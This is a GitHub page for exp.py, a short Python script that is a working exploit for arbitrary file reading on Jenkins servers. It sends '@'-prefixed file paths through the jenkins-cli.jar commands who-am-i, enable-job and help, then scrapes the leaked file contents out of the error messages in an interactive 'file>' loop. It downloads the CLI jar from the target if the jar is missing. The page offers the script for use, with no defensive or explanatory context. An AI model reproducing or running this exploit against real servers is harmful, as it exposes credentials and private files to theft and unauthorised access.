-
Notifications
You must be signed in to change notification settings - Fork 0
/
exp.py
32 lines (28 loc) · 1.16 KB
/
exp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import cmd
import sys
import os
import subprocess
ip = sys.argv[1]
port = sys.argv[2]
class Cmd(cmd.Cmd):
def __init__(self):
cmd.Cmd.__init__(self)
self.prompt = "file> "
def default(self, line):
process = subprocess.Popen(['java','-jar','jenkins-cli.jar','-s',f'http://{ip}:{port}','who-am-i',f'@{line}'], stderr=subprocess.PIPE, text=True)
out = process.communicate()[-1].split('\n')
print(out[1].split('allowed: ')[-1])
process = subprocess.Popen(['java','-jar','jenkins-cli.jar','-s',f'http://{ip}:{port}','enable-job',f'@{line}'], stderr=subprocess.PIPE, text=True)
out = process.communicate()[-1].split('\n')
print(out[1].split('arguments: ')[-1])
process = subprocess.Popen(['java','-jar','jenkins-cli.jar','-s',f'http://{ip}:{port}','help',f'@{line}'], stderr=subprocess.PIPE, text=True)
out = process.communicate()[-1].split('\n')
print(out[1].split('arguments: ')[-1])
if 'jenkins-cli.jar' in os.listdir():
cmd= Cmd()
cmd.cmdloop()
else:
print('jar not found\n[DOWNLOADING IT]')
os.system(f'wget {ip}:{port}/jnlpJars/jenkins-cli.jar')
cmd= Cmd()
cmd.cmdloop()